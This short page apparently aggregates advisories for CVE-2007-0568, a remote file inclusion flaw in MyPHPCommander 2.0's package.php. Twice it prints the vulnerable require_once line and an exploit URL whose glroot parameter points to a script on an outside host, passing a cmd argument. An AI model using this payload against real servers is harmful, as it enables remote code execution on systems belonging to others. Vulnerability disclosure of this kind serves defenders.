CVE-2007-0568: Undefined Security Weakness

PHP remote file inclusion vulnerability in system/lib/package.php in MyPHPCommander 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the glroot parameter...

MyPHPcommander 2.0 (package.php) Remote File Include Vulnerability

script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit: http://site.0/myphpcommanderpath/system/lib/package.php?glroot=http://www.4azhar.com/soft.txt?cmd...

MyPHPcommander 2.0 - 'package.php' Remote File Inclusion

script : http://sourceforge.net/projects/myphpcommander file : package.php vuln : requireonce $glroot.'system/lib/xml2.php'; Contact : Cold z3ro , [email protected] Exploit: http://site.0/myphpcommanderpath/system/lib/package.php?glroot=http://www.4azhar.com/soft.txt?cmd...